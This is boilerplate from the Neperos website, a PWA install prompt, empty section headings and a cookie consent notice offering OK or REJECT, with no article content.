install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT